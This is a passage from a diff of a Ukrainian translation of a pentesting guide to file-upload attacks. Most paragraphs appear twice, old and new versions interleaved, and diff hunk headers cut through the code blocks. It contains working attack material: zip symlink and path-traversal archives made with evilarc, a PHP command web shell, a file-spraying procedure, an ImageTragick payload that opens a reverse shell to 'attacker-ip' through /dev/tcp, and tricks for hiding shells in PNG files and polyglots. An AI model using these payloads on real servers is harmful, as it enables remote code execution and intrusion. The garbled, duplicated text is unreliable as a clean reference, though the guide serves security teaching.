Див. [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) для інших filetypes.
## Zip/Tar File Automatically decompressed Upload
## Zip/Tar: автоматично розпаковані завантаження
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
### Symlink
Завантажте архів, що містить символічні посилання (soft links) на інші файли — після доступу до розпакованих файлів ви отримаєте доступ до пов’язаних файлів:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -253,23 +296,24 @@ tar -cvf test.tar symindex.txt
```
### Розпаковка в різні папки
Несподіване створення файлів у директоріях під час розпаковування — суттєва проблема. Незважаючи на початкові припущення, що така конфігурація може захищати від OS-level command execution через шкідливі file uploads, підтримка ієрархічної компресії та можливості directory traversal у ZIP archive format можуть бути використані. Це дозволяє нападникам обійти обмеження та вийти з secure upload directories, маніпулюючи decompression функціоналом цільового додатка.
Несподіване створення файлів у директоріях під час розпаковки є серйозною проблемою. Незважаючи на початкові припущення, що така настройка може захищати від OS-level command execution через malicious file uploads, підтримка ієрархічного стиснення та можливості directory traversal у ZIP archive format можуть бути використані. Це дозволяє attackers обходити обмеження і виходити з secure upload directories, маніпулюючи decompression functionality цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати як показано:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Крім того, доступним варіантом є **symlink trick with evilarc**. Якщо метою є націлитися на файл на кшталт `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не стикатиметься з помилками під час роботи.
Крім того, варто розглянути **symlink trick with evilarc**. Якщо потрібно націлитися на файл, наприклад `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад коду на Python, що використовується для створення шкідливого zip-файлу:
Нижче наведено приклад Python-коду, який використовується для створення зловмисного zip-файлу:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -284,9 +328,9 @@ create_zip()
```
**Зловживання стисненням для file spraying**
Для детальнішої інформації **перегляньте оригінальний пост за адресою**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Для додаткових відомостей **перегляньте оригінальний пост за адресою**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP-код, який виконує команди, передані через змінну `$_REQUEST`.
1. **Створення PHP Shell**: Написано PHP-код, що виконує команди, передані через змінну `$_REQUEST`.
```php
<?php
@ -296,55 +340,55 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Створюється кілька файлів і збирається zip-архів, що містить ці файли.
2. **File Spraying та створення стисненого файлу**: Створюються декілька файлів і збирається zip-архів, що містить ці файли.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Імена файлів усередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../" для обходу директорій.
3. **Зміна за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../", щоб пройти в інші директорії.
```bash
:set modifiable
:%s/xxA/..\//g
:%s/xxA/../g
:x!
```
## ImageTragic
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767))
Завантажте цей вміст з розширенням зображення, щоб експлуатувати уразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Вбудовування PHP Shell у PNG
## Вбудовування PHP shell у PNG
Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` і `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки їх часто використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним після цих операцій є значною перевагою в певних випадках використання.
Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони часто використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим під час цих операцій є значною перевагою для певних сценаріїв використання.
Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, наведено у статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Це джерело дає всебічне розуміння процесу та його наслідків.
Детальне вивчення цієї техніки, включно з методологією та потенційними застосуваннями, наведено в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає комплексне розуміння процесу та його наслідків.
Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files виступають унікальним інструментом у cybersecurity, поводячись як хамелеони, які можуть одночасно коректно існувати в кількох файлових форматах. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar) — гібрид, що одночасно функціонує як GIF і RAR-архів. Такі файли не обмежуються цією комбінацією; можливі й поєднання типу GIF і JS або PPT і JS.
Polyglot files слугують унікальним інструментом у cybersecurity, поводячись як хамелеони, які можуть одночасно бути дійсними в кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який працює одночасно як GIF і RAR-архів. Такі файли не обмежуються цією парою; можливі й поєднання на кшталт GIF та JS або PPT та JS.
Основна користь polyglot files полягає в їхній здатності обходити заходи безпеки, які перевіряють файли за типом. Звичайна практика в різних додатках — дозволяти для завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик від потенційно небезпечних форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів одночасно, може непомітно обійти ці обмеження.
Основна користь polyglot файлів полягає в їхній здатності обходити заходи безпеки, які перевіряють файли за типом. Зазвичай у різних додатках дозволяють завантаження лише певних типів файлів — наприклад JPEG, GIF або DOC — щоб зменшити ризик від потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним вимогам кількох форматів одночасно, може непомітно обійти ці обмеження.
Незважаючи на адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно містити PHAR file (PHp ARchive) і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо контролює дозволені розширення, сама лише структурна подвійність polyglot може не гарантувати успіху завантаження.
Незважаючи на адаптивність, polygloty мають обмеження. Наприклад, хоча polyglot може одночасно містити PHAR файл (PHp ARchive) і JPEG, успішність його завантаження може залежати від політик платформи щодо розширень файлів. Якщо система суворо перевіряє дозволені розширення, сама структурна подвійність polyglot може бути недостатньою для гарантування завантаження.
Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### Завантаження валідних JSON так, ніби це PDF
Як уникнути виявлення типу файлу, завантаживши валідний JSON, навіть якщо це не дозволено, підробивши PDF (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Як уникнути визначення типу файлу, завантажуючи валідний JSON-файл, навіть якщо це не дозволено, підробивши PDF-файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Поки магічні байти `%PDF` знаходяться в перших 1024 байтах — файл вважається валідним (приклад у пості)
- **`pdflib` library**: Додати фейковий PDF формат всередину поля JSON, щоб бібліотека вважала його PDF (приклад у пості)
- **`file` binary**: Він читає до 1048576 байтів з файлу. Просто створіть JSON більший за це, щоб утиліта не змогла розпарсити вміст як JSON, а всередині JSON розмістіть початкову частину реального PDF — і вона подумає, що це PDF
- **`mmmagic` library**: Поки магічні байти `%PDF` знаходяться в перших 1024 байтах, файл вважається дійсним (див. приклад у пості)
- **`pdflib` library**: Додайте фейковий PDF всередину поля JSON так, щоб бібліотека вважала його PDF (див. приклад у пості)
- **`file` binary**: Воно може читати до 1048576 байт з файлу. Просто створіть JSON більший за це, щоб воно не змогло розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і воно вважатиме, що це PDF
## References
@ -355,6 +399,9 @@ Polyglot files виступають унікальним інструменто
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)